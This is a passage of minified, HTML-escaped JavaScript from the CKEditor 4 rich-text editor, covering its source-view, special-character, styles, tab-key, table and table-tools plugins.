0&gt;=parseInt(a.getAttribute(&quot;border&quot;),10))&amp;&amp;a.addClass(&quot;cke_show_border&quot;)})},afterInit:function(a){var b=a.dataProcessor;a=b&amp;&amp;b.dataFilter;b=b&amp;&amp;b.htmlFilter;a&amp;&amp;a.addRules({elements:{table:function(a){a=a.attributes;var b=a[&quot;class&quot;],e=parseInt(a.border,10);e&amp;&amp;!(0&gt;=e)||b&amp;&amp;-1!=b.indexOf(&quot;cke_show_border&quot;)||(a[&quot;class&quot;]=(b||&quot;&quot;)+&quot; cke_show_border&quot;)}}});b&amp;&amp;b.addRules({elements:{table:function(a){a=a.attributes;var b=a[&quot;class&quot;];b&amp;&amp;(a[&quot;class&quot;]=b.replace(&quot;cke_show_border&quot;,&quot;&quot;).replace(/\s{2}/,&quot; &quot;).replace(/^\s+|\s+$/,
&quot;&quot;))}}})}});CKEDITOR.on(&quot;dialogDefinition&quot;,function(a){var b=a.data.name;if(&quot;table&quot;==b||&quot;tableProperties&quot;==b)if(a=a.data.definition,b=a.getContents(&quot;info&quot;).get(&quot;txtBorder&quot;),b.commit=CKEDITOR.tools.override(b.commit,function(a){return function(b,e){a.apply(this,arguments);var m=parseInt(this.getValue(),10);e[!m||0&gt;=m?&quot;addClass&quot;:&quot;removeClass&quot;](&quot;cke_show_border&quot;)}}),a=(a=a.getContents(&quot;advanced&quot;))&amp;&amp;a.get(&quot;advCSSClasses&quot;))a.setup=CKEDITOR.tools.override(a.setup,function(a){return function(){a.apply(this,
arguments);this.setValue(this.getValue().replace(/cke_show_border/,&quot;&quot;))}}),a.commit=CKEDITOR.tools.override(a.commit,function(a){return function(b,e){a.apply(this,arguments);parseInt(e.getAttribute(&quot;border&quot;),10)||e.addClass(&quot;cke_show_border&quot;)}})})}(),function(){CKEDITOR.plugins.add(&quot;sourcearea&quot;,{init:function(e){function b(){var a=d&amp;&amp;this.equals(CKEDITOR.document.getActive());this.hide();this.setStyle(&quot;height&quot;,this.getParent().$.clientHeight+&quot;px&quot;);this.setStyle(&quot;width&quot;,this.getParent().$.clientWidth+
&quot;px&quot;);this.show();a&amp;&amp;this.focus()}if(e.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var c=CKEDITOR.plugins.sourcearea;e.addMode(&quot;source&quot;,function(c){var d=e.ui.space(&quot;contents&quot;).getDocument().createElement(&quot;textarea&quot;);d.setStyles(CKEDITOR.tools.extend({width:CKEDITOR.env.ie7Compat?&quot;99%&quot;:&quot;100%&quot;,height:&quot;100%&quot;,resize:&quot;none&quot;,outline:&quot;none&quot;,&quot;text-align&quot;:&quot;left&quot;},CKEDITOR.tools.cssVendorPrefix(&quot;tab-size&quot;,e.config.sourceAreaTabSize||4)));d.setAttribute(&quot;dir&quot;,&quot;ltr&quot;);d.addClass(&quot;cke_source&quot;).addClass(&quot;cke_reset&quot;).addClass(&quot;cke_enable_context_menu&quot;);
e.ui.space(&quot;contents&quot;).append(d);d=e.editable(new a(e,d));d.setData(e.getData(1));CKEDITOR.env.ie&amp;&amp;(d.attachListener(e,&quot;resize&quot;,b,d),d.attachListener(CKEDITOR.document.getWindow(),&quot;resize&quot;,b,d),CKEDITOR.tools.setTimeout(b,0,d));e.fire(&quot;ariaWidget&quot;,this);c()});e.addCommand(&quot;source&quot;,c.commands.source);e.ui.addButton&amp;&amp;e.ui.addButton(&quot;Source&quot;,{label:e.lang.sourcearea.toolbar,command:&quot;source&quot;,toolbar:&quot;mode,10&quot;});e.on(&quot;mode&quot;,function(){e.getCommand(&quot;source&quot;).setState(&quot;source&quot;==e.mode?CKEDITOR.TRISTATE_ON:
CKEDITOR.TRISTATE_OFF)});var d=CKEDITOR.env.ie&amp;&amp;9==CKEDITOR.env.version}}});var a=CKEDITOR.tools.createClass({base:CKEDITOR.editable,proto:{setData:function(a){this.setValue(a);this.status=&quot;ready&quot;;this.editor.fire(&quot;dataReady&quot;)},getData:function(){return this.getValue()},insertHtml:function(){},insertElement:function(){},insertText:function(){},setReadOnly:function(a){this[(a?&quot;set&quot;:&quot;remove&quot;)+&quot;Attribute&quot;](&quot;readOnly&quot;,&quot;readonly&quot;)},detach:function(){a.baseProto.detach.call(this);this.clearCustomData();
this.remove()}}})}(),CKEDITOR.plugins.sourcearea={commands:{source:{modes:{wysiwyg:1,source:1},editorFocus:!1,readOnly:1,exec:function(a){&quot;wysiwyg&quot;==a.mode&amp;&amp;a.fire(&quot;saveSnapshot&quot;);a.getCommand(&quot;source&quot;).setState(CKEDITOR.TRISTATE_DISABLED);a.setMode(&quot;source&quot;==a.mode?&quot;wysiwyg&quot;:&quot;source&quot;)},canUndo:!1}}},CKEDITOR.plugins.add(&quot;specialchar&quot;,{availableLangs:{af:1,ar:1,bg:1,ca:1,cs:1,cy:1,da:1,de:1,&quot;de-ch&quot;:1,el:1,en:1,&quot;en-gb&quot;:1,eo:1,es:1,et:1,eu:1,fa:1,fi:1,fr:1,&quot;fr-ca&quot;:1,gl:1,he:1,hr:1,hu:1,id:1,it:1,ja:1,
km:1,ko:1,ku:1,lt:1,lv:1,nb:1,nl:1,no:1,pl:1,pt:1,&quot;pt-br&quot;:1,ru:1,si:1,sk:1,sl:1,sq:1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,zh:1,&quot;zh-cn&quot;:1},requires:&quot;dialog&quot;,init:function(a){var e=this;CKEDITOR.dialog.add(&quot;specialchar&quot;,this.path+&quot;dialogs/specialchar.js&quot;);a.addCommand(&quot;specialchar&quot;,{exec:function(){var b=a.langCode,b=e.availableLangs[b]?b:e.availableLangs[b.replace(/-.*/,&quot;&quot;)]?b.replace(/-.*/,&quot;&quot;):&quot;en&quot;;CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(e.path+&quot;dialogs/lang/&quot;+b+&quot;.js&quot;),function(){CKEDITOR.tools.extend(a.lang.specialchar,
e.langEntries[b]);a.openDialog(&quot;specialchar&quot;)})},modes:{wysiwyg:1},canUndo:!1});a.ui.addButton&amp;&amp;a.ui.addButton(&quot;SpecialChar&quot;,{label:a.lang.specialchar.toolbar,command:&quot;specialchar&quot;,toolbar:&quot;insert,50&quot;})}}),CKEDITOR.config.specialChars=&quot;! \x26quot; # $ % \x26amp; &#039; ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 : ; \x26lt; \x3d \x26gt; ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ \x26euro; \x26lsquo; \x26rsquo; \x26ldquo; \x26rdquo; \x26ndash; \x26mdash; \x26iexcl; \x26cent; \x26pound; \x26curren; \x26yen; \x26brvbar; \x26sect; \x26uml; \x26copy; \x26ordf; \x26laquo; \x26not; \x26reg; \x26macr; \x26deg; \x26sup2; \x26sup3; \x26acute; \x26micro; \x26para; \x26middot; \x26cedil; \x26sup1; \x26ordm; \x26raquo; \x26frac14; \x26frac12; \x26frac34; \x26iquest; \x26Agrave; \x26Aacute; \x26Acirc; \x26Atilde; \x26Auml; \x26Aring; \x26AElig; \x26Ccedil; \x26Egrave; \x26Eacute; \x26Ecirc; \x26Euml; \x26Igrave; \x26Iacute; \x26Icirc; \x26Iuml; \x26ETH; \x26Ntilde; \x26Ograve; \x26Oacute; \x26Ocirc; \x26Otilde; \x26Ouml; \x26times; \x26Oslash; \x26Ugrave; \x26Uacute; \x26Ucirc; \x26Uuml; \x26Yacute; \x26THORN; \x26szlig; \x26agrave; \x26aacute; \x26acirc; \x26atilde; \x26auml; \x26aring; \x26aelig; \x26ccedil; \x26egrave; \x26eacute; \x26ecirc; \x26euml; \x26igrave; \x26iacute; \x26icirc; \x26iuml; \x26eth; \x26ntilde; \x26ograve; \x26oacute; \x26ocirc; \x26otilde; \x26ouml; \x26divide; \x26oslash; \x26ugrave; \x26uacute; \x26ucirc; \x26uuml; \x26yacute; \x26thorn; \x26yuml; \x26OElig; \x26oelig; \x26#372; \x26#374 \x26#373 \x26#375; \x26sbquo; \x26#8219; \x26bdquo; \x26hellip; \x26trade; \x26#9658; \x26bull; \x26rarr; \x26rArr; \x26hArr; \x26diams; \x26asymp;&quot;.split(&quot; &quot;),
function(){CKEDITOR.plugins.add(&quot;stylescombo&quot;,{requires:&quot;richcombo&quot;,init:function(a){var e=a.config,b=a.lang.stylescombo,c={},d=[],k=[];a.on(&quot;stylesSet&quot;,function(b){if(b=b.data.styles){for(var f,h,l,g=0,n=b.length;g&lt;n;g++)(f=b[g],a.blockless&amp;&amp;f.element in CKEDITOR.dtd.$block||(h=f.name,f=new CKEDITOR.style(f),a.filter.customConfig&amp;&amp;!a.filter.check(f)))||(f._name=h,f._.enterMode=e.enterMode,f._.type=l=f.assignedTo||f.type,f._.weight=g+1E3*(l==CKEDITOR.STYLE_OBJECT?1:l==CKEDITOR.STYLE_BLOCK?2:3),c[h]=
f,d.push(f),k.push(f));d.sort(function(a,b){return a._.weight-b._.weight})}});a.ui.addRichCombo(&quot;Styles&quot;,{label:b.label,title:b.panelTitle,toolbar:&quot;styles,10&quot;,allowedContent:k,panel:{css:[CKEDITOR.skin.getPath(&quot;editor&quot;)].concat(e.contentsCss),multiSelect:!0,attributes:{&quot;aria-label&quot;:b.panelTitle}},init:function(){var a,c,e,l,g,k;g=0;for(k=d.length;g&lt;k;g++)a=d[g],c=a._name,l=a._.type,l!=e&amp;&amp;(this.startGroup(b[&quot;panelTitle&quot;+String(l)]),e=l),this.add(c,a.type==CKEDITOR.STYLE_OBJECT?c:a.buildPreview(),c);
this.commit()},onClick:function(b){a.focus();a.fire(&quot;saveSnapshot&quot;);b=c[b];var d=a.elementPath();a[b.checkActive(d,a)?&quot;removeStyle&quot;:&quot;applyStyle&quot;](b);a.fire(&quot;saveSnapshot&quot;)},onRender:function(){a.on(&quot;selectionChange&quot;,function(b){var d=this.getValue();b=b.data.path.elements;for(var e=0,l=b.length,g;e&lt;l;e++){g=b[e];for(var k in c)if(c[k].checkElementRemovable(g,!0,a)){k!=d&amp;&amp;this.setValue(k);return}}this.setValue(&quot;&quot;)},this)},onOpen:function(){var d=a.getSelection().getSelectedElement(),d=a.elementPath(d),
f=[0,0,0,0];this.showAll();this.unmarkAll();for(var e in c){var l=c[e],g=l._.type;l.checkApplicable(d,a,a.activeFilter)?f[g]++:this.hideItem(e);l.checkActive(d,a)&amp;&amp;this.mark(e)}f[CKEDITOR.STYLE_BLOCK]||this.hideGroup(b[&quot;panelTitle&quot;+String(CKEDITOR.STYLE_BLOCK)]);f[CKEDITOR.STYLE_INLINE]||this.hideGroup(b[&quot;panelTitle&quot;+String(CKEDITOR.STYLE_INLINE)]);f[CKEDITOR.STYLE_OBJECT]||this.hideGroup(b[&quot;panelTitle&quot;+String(CKEDITOR.STYLE_OBJECT)])},refresh:function(){var b=a.elementPath();if(b){for(var d in c)if(c[d].checkApplicable(b,
a,a.activeFilter))return;this.setState(CKEDITOR.TRISTATE_DISABLED)}},reset:function(){c={};d=[]}})}})}(),function(){function a(a){return{editorFocus:!1,canUndo:!1,modes:{wysiwyg:1},exec:function(b){if(b.editable().hasFocus){var c=b.getSelection(),f;if(f=(new CKEDITOR.dom.elementPath(c.getCommonAncestor(),c.root)).contains({td:1,th:1},1)){var c=b.createRange(),e=CKEDITOR.tools.tryThese(function(){var b=f.getParent().$.cells[f.$.cellIndex+(a?-1:1)];b.parentNode.parentNode;return b},function(){var b=
f.getParent(),b=b.getAscendant(&quot;table&quot;).$.rows[b.$.rowIndex+(a?-1:1)];return b.cells[a?b.cells.length-1:0]});if(e||a)if(e)e=new CKEDITOR.dom.element(e),c.moveToElementEditStart(e),c.checkStartOfBlock()&amp;&amp;c.checkEndOfBlock()||c.selectNodeContents(e);else return!0;else{for(var l=f.getAscendant(&quot;table&quot;).$,e=f.getParent().$.cells,l=new CKEDITOR.dom.element(l.insertRow(-1),b.document),g=0,n=e.length;g&lt;n;g++)l.append((new CKEDITOR.dom.element(e[g],b.document)).clone(!1,!1)).appendBogus();c.moveToElementEditStart(l)}c.select(!0);
return!0}}return!1}}}var e={editorFocus:!1,modes:{wysiwyg:1,source:1}},b={exec:function(a){a.container.focusNext(!0,a.tabIndex)}},c={exec:function(a){a.container.focusPrevious(!0,a.tabIndex)}};CKEDITOR.plugins.add(&quot;tab&quot;,{init:function(d){for(var k=!1!==d.config.enableTabKeyTools,m=d.config.tabSpaces||0,f=&quot;&quot;;m--;)f+=&quot; &quot;;if(f)d.on(&quot;key&quot;,function(a){9==a.data.keyCode&amp;&amp;(d.insertText(f),a.cancel())});if(k)d.on(&quot;key&quot;,function(a){(9==a.data.keyCode&amp;&amp;d.execCommand(&quot;selectNextCell&quot;)||a.data.keyCode==CKEDITOR.SHIFT+
9&amp;&amp;d.execCommand(&quot;selectPreviousCell&quot;))&amp;&amp;a.cancel()});d.addCommand(&quot;blur&quot;,CKEDITOR.tools.extend(b,e));d.addCommand(&quot;blurBack&quot;,CKEDITOR.tools.extend(c,e));d.addCommand(&quot;selectNextCell&quot;,a());d.addCommand(&quot;selectPreviousCell&quot;,a(!0))}})}(),CKEDITOR.dom.element.prototype.focusNext=function(a,e){var b=void 0===e?this.getTabIndex():e,c,d,k,m,f,h;if(0&gt;=b)for(f=this.getNextSourceNode(a,CKEDITOR.NODE_ELEMENT);f;){if(f.isVisible()&amp;&amp;0===f.getTabIndex()){k=f;break}f=f.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT)}else for(f=
this.getDocument().getBody().getFirst();f=f.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!c)if(!d&amp;&amp;f.equals(this)){if(d=!0,a){if(!(f=f.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;c=1}}else d&amp;&amp;!this.contains(f)&amp;&amp;(c=1);if(f.isVisible()&amp;&amp;!(0&gt;(h=f.getTabIndex()))){if(c&amp;&amp;h==b){k=f;break}h&gt;b&amp;&amp;(!k||!m||h&lt;m)?(k=f,m=h):k||0!==h||(k=f,m=h)}}k&amp;&amp;k.focus()},CKEDITOR.dom.element.prototype.focusPrevious=function(a,e){for(var b=void 0===e?this.getTabIndex():e,c,d,k,m=0,f,h=this.getDocument().getBody().getLast();h=
h.getPreviousSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!c)if(!d&amp;&amp;h.equals(this)){if(d=!0,a){if(!(h=h.getPreviousSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;c=1}}else d&amp;&amp;!this.contains(h)&amp;&amp;(c=1);if(h.isVisible()&amp;&amp;!(0&gt;(f=h.getTabIndex())))if(0&gt;=b){if(c&amp;&amp;0===f){k=h;break}f&gt;m&amp;&amp;(k=h,m=f)}else{if(c&amp;&amp;f==b){k=h;break}f&lt;b&amp;&amp;(!k||f&gt;m)&amp;&amp;(k=h,m=f)}}k&amp;&amp;k.focus()},CKEDITOR.plugins.add(&quot;table&quot;,{requires:&quot;dialog&quot;,init:function(a){function e(a){return CKEDITOR.tools.extend(a||{},{contextSensitive:1,refresh:function(a,
b){this.setState(b.contains(&quot;table&quot;,1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}if(!a.blockless){var b=a.lang.table;a.addCommand(&quot;table&quot;,new CKEDITOR.dialogCommand(&quot;table&quot;,{context:&quot;table&quot;,allowedContent:&quot;table{width,height}[align,border,cellpadding,cellspacing,summary];caption tbody thead tfoot;th td tr[scope];&quot;+(a.plugins.dialogadvtab?&quot;table&quot;+a.plugins.dialogadvtab.allowedContent():&quot;&quot;),requiredContent:&quot;table&quot;,contentTransformations:[[&quot;table{width}: sizeToStyle&quot;,&quot;table[width]: sizeToAttribute&quot;]]}));
a.addCommand(&quot;tableProperties&quot;,new CKEDITOR.dialogCommand(&quot;tableProperties&quot;,e()));a.addCommand(&quot;tableDelete&quot;,e({exec:function(a){var b=a.elementPath().contains(&quot;table&quot;,1);if(b){var e=b.getParent(),m=a.editable();1!=e.getChildCount()||e.is(&quot;td&quot;,&quot;th&quot;)||e.equals(m)||(b=e);a=a.createRange();a.moveToPosition(b,CKEDITOR.POSITION_BEFORE_START);b.remove();a.select()}}}));a.ui.addButton&amp;&amp;a.ui.addButton(&quot;Table&quot;,{label:b.toolbar,command:&quot;table&quot;,toolbar:&quot;insert,30&quot;});CKEDITOR.dialog.add(&quot;table&quot;,this.path+&quot;dialogs/table.js&quot;);
CKEDITOR.dialog.add(&quot;tableProperties&quot;,this.path+&quot;dialogs/table.js&quot;);a.addMenuItems&amp;&amp;a.addMenuItems({table:{label:b.menu,command:&quot;tableProperties&quot;,group:&quot;table&quot;,order:5},tabledelete:{label:b.deleteTable,command:&quot;tableDelete&quot;,group:&quot;table&quot;,order:1}});a.on(&quot;doubleclick&quot;,function(a){a.data.element.is(&quot;table&quot;)&amp;&amp;(a.data.dialog=&quot;tableProperties&quot;)});a.contextMenu&amp;&amp;a.contextMenu.addListener(function(){return{tabledelete:CKEDITOR.TRISTATE_OFF,table:CKEDITOR.TRISTATE_OFF}})}}}),function(){function a(a){function b(a){0&lt;
c.length||a.type!=CKEDITOR.NODE_ELEMENT||!v.test(a.getName())||a.getCustomData(&quot;selected_cell&quot;)||(CKEDITOR.dom.element.setMarker(d,a,&quot;selected_cell&quot;,!0),c.push(a))}a=a.getRanges();for(var c=[],d={},f=0;f&lt;a.length;f++){var e=a[f];if(e.collapsed)e=e.getCommonAncestor(),(e=e.getAscendant(&quot;td&quot;,!0)||e.getAscendant(&quot;th&quot;,!0))&amp;&amp;c.push(e);else{var e=new CKEDITOR.dom.walker(e),g;for(e.guard=b;g=e.next();)g.type==CKEDITOR.NODE_ELEMENT&amp;&amp;g.is(CKEDITOR.dtd.table)||(g=g.getAscendant(&quot;td&quot;,!0)||g.getAscendant(&quot;th&quot;,
!0))&amp;&amp;!g.getCustomData(&quot;selected_cell&quot;)&amp;&amp;(CKEDITOR.dom.element.setMarker(d,g,&quot;selected_cell&quot;,!0),c.push(g))}}CKEDITOR.dom.element.clearAllMarkers(d);return c}function e(b,c){for(var d=a(b),f=d[0],e=f.getAscendant(&quot;table&quot;),f=f.getDocument(),g=d[0].getParent(),h=g.$.rowIndex,d=d[d.length-1],l=d.getParent().$.rowIndex+d.$.rowSpan-1,d=new CKEDITOR.dom.element(e.$.rows[l]),h=c?h:l,g=c?g:d,d=CKEDITOR.tools.buildTableMap(e),e=d[h],h=c?d[h-1]:d[h+1],d=d[0].length,f=f.createElement(&quot;tr&quot;),l=0;e[l]&amp;&amp;l&lt;d;l++){var k;
1&lt;e[l].rowSpan&amp;&amp;h&amp;&amp;e[l]==h[l]?(k=e[l],k.rowSpan+=1):(k=(new CKEDITOR.dom.element(e[l])).clone(),k.removeAttribute(&quot;rowSpan&quot;),k.appendBogus(),f.append(k),k=k.$);l+=k.colSpan-1}c?f.insertBefore(g):f.insertAfter(g)}function b(c){if(c instanceof CKEDITOR.dom.selection){var d=a(c),f=d[0].getAscendant(&quot;table&quot;),e=CKEDITOR.tools.buildTableMap(f);c=d[0].getParent().$.rowIndex;for(var d=d[d.length-1],g=d.getParent().$.rowIndex+d.$.rowSpan-1,d=[],h=c;h&lt;=g;h++){for(var l=e[h],k=new CKEDITOR.dom.element(f.$.rows[h]),
m=0;m&lt;l.length;m++){var n=new CKEDITOR.dom.element(l[m]),v=n.getParent().$.rowIndex;1==n.$.rowSpan?n.remove():(--n.$.rowSpan,v==h&amp;&amp;(v=e[h+1],v[m-1]?n.insertAfter(new CKEDITOR.dom.element(v[m-1])):(new CKEDITOR.dom.element(f.$.rows[h+1])).append(n,1)));m+=n.$.colSpan-1}d.push(k)}e=f.$.rows;f=new CKEDITOR.dom.element(e[g+1]||(0&lt;c?e[c-1]:null)||f.$.parentNode);for(h=d.length;0&lt;=h;h--)b(d[h]);return f}c instanceof CKEDITOR.dom.element&amp;&amp;(f=c.getAscendant(&quot;table&quot;),1==f.$.rows.length?f.remove():c.remove());
return null}function c(a,b){for(var c=b?Infinity:0,d=0;d&lt;a.length;d++){var f;f=a[d];for(var e=b,g=f.getParent().$.cells,h=0,l=0;l&lt;g.length;l++){var k=g[l],h=h+(e?1:k.colSpan);if(k==f.$)break}f=h-1;if(b?f&lt;c:f&gt;c)c=f}return c}function d(b,d){for(var f=a(b),e=f[0].getAscendant(&quot;table&quot;),g=c(f,1),f=c(f),g=d?g:f,h=CKEDITOR.tools.buildTableMap(e),e=[],f=[],l=h.length,k=0;k&lt;l;k++)e.push(h[k][g]),f.push(d?h[k][g-1]:h[k][g+1]);for(k=0;k&lt;l;k++)e[k]&amp;&amp;(1&lt;e[k].colSpan&amp;&amp;f[k]==e[k]?(g=e[k],g.colSpan+=1):(g=(new CKEDITOR.dom.element(e[k])).clone(),
g.removeAttribute(&quot;colSpan&quot;),g.appendBogus(),g[d?&quot;insertBefore&quot;:&quot;insertAfter&quot;].call(g,new CKEDITOR.dom.element(e[k])),g=g.$),k+=g.rowSpan-1)}function k(a,b){var c=a.getStartElement();if(c=c.getAscendant(&quot;td&quot;,1)||c.getAscendant(&quot;th&quot;,1)){var d=c.clone();d.appendBogus();b?d.insertBefore(c):d.insertAfter(c)}}function m(b){if(b instanceof CKEDITOR.dom.selection){b=a(b);var c=b[0]&amp;&amp;b[0].getAscendant(&quot;table&quot;),d;a:{var e=0;d=b.length-1;for(var g={},h,l;h=b[e++];)CKEDITOR.dom.element.setMarker(g,h,&quot;delete_cell&quot;,
!0);for(e=0;h=b[e++];)if((l=h.getPrevious())&amp;&amp;!l.getCustomData(&quot;delete_cell&quot;)||(l=h.getNext())&amp;&amp;!l.getCustomData(&quot;delete_cell&quot;)){CKEDITOR.dom.element.clearAllMarkers(g);d=l;break a}CKEDITOR.dom.element.clearAllMarkers(g);l=b[0].getParent();(l=l.getPrevious())?d=l.getLast():(l=b[d].getParent(),d=(l=l.getNext())?l.getChild(0):null)}for(l=b.length-1;0&lt;=l;l--)m(b[l]);d?f(d,!0):c&amp;&amp;c.remove()}else b instanceof CKEDITOR.dom.element&amp;&amp;(c=b.getParent(),1==c.getChildCount()?c.remove():b.remove())}function f(a,
b){var c=a.getDocument(),d=CKEDITOR.document;CKEDITOR.env.ie&amp;&amp;10==CKEDITOR.env.version&amp;&amp;(d.focus(),c.focus());c=new CKEDITOR.dom.range(c);c[&quot;moveToElementEdit&quot;+(b?&quot;End&quot;:&quot;Start&quot;)](a)||(c.selectNodeContents(a),c.collapse(b?!1:!0));c.select(!0)}function h(a,b,c){a=a[b];if(&quot;undefined&quot;==typeof c)return a;for(b=0;a&amp;&amp;b&lt;a.length;b++){if(c.is&amp;&amp;a[b]==c.$)return b;if(b==c)return new CKEDITOR.dom.element(a[b])}return c.is?-1:null}function l(b,c,d){var f=a(b),e;if((c?1!=f.length:2&gt;f.length)||(e=b.getCommonAncestor())&amp;&amp;
e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;e.is(&quot;table&quot;))return!1;var g;b=f[0];e=b.getAscendant(&quot;table&quot;);var l=CKEDITOR.tools.buildTableMap(e),k=l.length,m=l[0].length,n=b.getParent().$.rowIndex,v=h(l,n,b);if(c){var B;try{var D=parseInt(b.getAttribute(&quot;rowspan&quot;),10)||1;g=parseInt(b.getAttribute(&quot;colspan&quot;),10)||1;B=l[&quot;up&quot;==c?n-D:&quot;down&quot;==c?n+D:n][&quot;left&quot;==c?v-g:&quot;right&quot;==c?v+g:v]}catch(F){return!1}if(!B||b.$==B)return!1;f[&quot;up&quot;==c||&quot;left&quot;==c?&quot;unshift&quot;:&quot;push&quot;](new CKEDITOR.dom.element(B))}c=b.getDocument();var E=n,
D=B=0,I=!d&amp;&amp;new CKEDITOR.dom.documentFragment(c),G=0;for(c=0;c&lt;f.length;c++){g=f[c];var L=g.getParent(),N=g.getFirst(),H=g.$.colSpan,R=g.$.rowSpan,L=L.$.rowIndex,P=h(l,L,g),G=G+H*R,D=Math.max(D,P-v+H);B=Math.max(B,L-n+R);d||(H=g,(R=H.getBogus())&amp;&amp;R.remove(),H.trim(),g.getChildren().count()&amp;&amp;(L==E||!N||N.isBlockBoundary&amp;&amp;N.isBlockBoundary({br:1})||(E=I.getLast(CKEDITOR.dom.walker.whitespaces(!0)),!E||E.is&amp;&amp;E.is(&quot;br&quot;)||I.append(&quot;br&quot;)),g.moveChildren(I)),c?g.remove():g.setHtml(&quot;&quot;));E=L}if(d)return B*
D==G;I.moveChildren(b);b.appendBogus();D&gt;=m?b.removeAttribute(&quot;rowSpan&quot;):b.$.rowSpan=B;B&gt;=k?b.removeAttribute(&quot;colSpan&quot;):b.$.colSpan=D;d=new CKEDITOR.dom.nodeList(e.$.rows);f=d.count();for(c=f-1;0&lt;=c;c--)e=d.getItem(c),e.$.cells.length||(e.remove(),f++);return b}function g(b,c){var d=a(b);if(1&lt;d.length)return!1;if(c)return!0;var d=d[0],f=d.getParent(),e=f.getAscendant(&quot;table&quot;),g=CKEDITOR.tools.buildTableMap(e),l=f.$.rowIndex,k=h(g,l,d),m=d.$.rowSpan,n;if(1&lt;m){n=Math.ceil(m/2);for(var m=Math.floor(m/
2),f=l+n,e=new CKEDITOR.dom.element(e.$.rows[f]),g=h(g,f),v,f=d.clone(),l=0;l&lt;g.length;l++)if(v=g[l],v.parentNode==e.$&amp;&amp;l&gt;k){f.insertBefore(new CKEDITOR.dom.element(v));break}else v=null;v||e.append(f)}else for(m=n=1,e=f.clone(),e.insertAfter(f),e.append(f=d.clone()),v=h(g,l),k=0;k&lt;v.length;k++)v[k].rowSpan++;f.appendBogus();d.$.rowSpan=n;f.$.rowSpan=m;1==n&amp;&amp;d.removeAttribute(&quot;rowSpan&quot;);1==m&amp;&amp;f.removeAttribute(&quot;rowSpan&quot;);return f}function n(b,c){var d=a(b);if(1&lt;d.length)return!1;if(c)return!0;var d=
d[0],f=d.getParent(),e=f.getAscendant(&quot;table&quot;),e=CKEDITOR.tools.buildTableMap(e),g=h(e,f.$.rowIndex,d),l=d.$.colSpan;if(1&lt;l)f=Math.ceil(l/2),l=Math.floor(l/2);else{for(var l=f=1,k=[],m=0;m&lt;e.length;m++){var n=e[m];k.push(n[g]);1&lt;n[g].rowSpan&amp;&amp;(m+=n[g].rowSpan-1)}for(e=0;e&lt;k.length;e++)k[e].colSpan++}e=d.clone();e.insertAfter(d);e.appendBogus();d.$.colSpan=f;e.$.colSpan=l;1==f&amp;&amp;d.removeAttribute(&quot;colSpan&quot;);1==l&amp;&amp;e.removeAttribute(&quot;colSpan&quot;);return e}var v=/^(?:td|th)$/;CKEDITOR.plugins.tabletools=
{requires:&quot;table,dialog,contextmenu&quot;,init:function(c){function h(a){return CKEDITOR.tools.extend(a||{},{contextSensitive:1,refresh:function(a,b){this.setState(b.contains({td:1,th:1},1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}function t(a,b){var d=c.addCommand(a,b);c.addFeature(d)}var p=c.lang.table;t(&quot;cellProperties&quot;,new CKEDITOR.dialogCommand(&quot;cellProperties&quot;,h({allowedContent:&quot;td th{width,height,border-color,background-color,white-space,vertical-align,text-align}[colspan,rowspan]&quot;,
requiredContent:&quot;table&quot;})));CKEDITOR.dialog.add(&quot;cellProperties&quot;,this.path+&quot;dialogs/tableCell.js&quot;);t(&quot;rowDelete&quot;,h({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();f(b(a))}}));t(&quot;rowInsertBefore&quot;,h({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();e(a,!0)}}));t(&quot;rowInsertAfter&quot;,h({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();e(a)}}));t(&quot;columnDelete&quot;,h({requiredContent:&quot;table&quot;,exec:function(b){b=b.getSelection();b=a(b);var c=b[0],d=b[b.length-1];b=c.getAscendant(&quot;table&quot;);
for(var e=CKEDITOR.tools.buildTableMap(b),g,h,l=[],k=0,m=e.length;k&lt;m;k++)for(var n=0,q=e[k].length;n&lt;q;n++)e[k][n]==c.$&amp;&amp;(g=n),e[k][n]==d.$&amp;&amp;(h=n);for(k=g;k&lt;=h;k++)for(n=0;n&lt;e.length;n++)d=e[n],c=new CKEDITOR.dom.element(b.$.rows[n]),d=new CKEDITOR.dom.element(d[k]),d.$&amp;&amp;(1==d.$.colSpan?d.remove():--d.$.colSpan,n+=d.$.rowSpan-1,c.$.cells.length||l.push(c));h=b.$.rows[0]&amp;&amp;b.$.rows[0].cells;g=new CKEDITOR.dom.element(h[g]||(g?h[g-1]:b.$.parentNode));l.length==m&amp;&amp;b.remove();g&amp;&amp;f(g,!0)}}));t(&quot;columnInsertBefore&quot;,
h({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();d(a,!0)}}));t(&quot;columnInsertAfter&quot;,h({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();d(a)}}));t(&quot;cellDelete&quot;,h({requiredContent:&quot;table&quot;,exec:function(a){a=a.getSelection();m(a)}}));t(&quot;cellMerge&quot;,h({allowedContent:&quot;td[colspan,rowspan]&quot;,requiredContent:&quot;td[colspan,rowspan]&quot;,exec:function(a){f(l(a.getSelection()),!0)}}));t(&quot;cellMergeRight&quot;,h({allowedContent:&quot;td[colspan]&quot;,requiredContent:&quot;td[colspan]&quot;,exec:function(a){f(l(a.getSelection(),
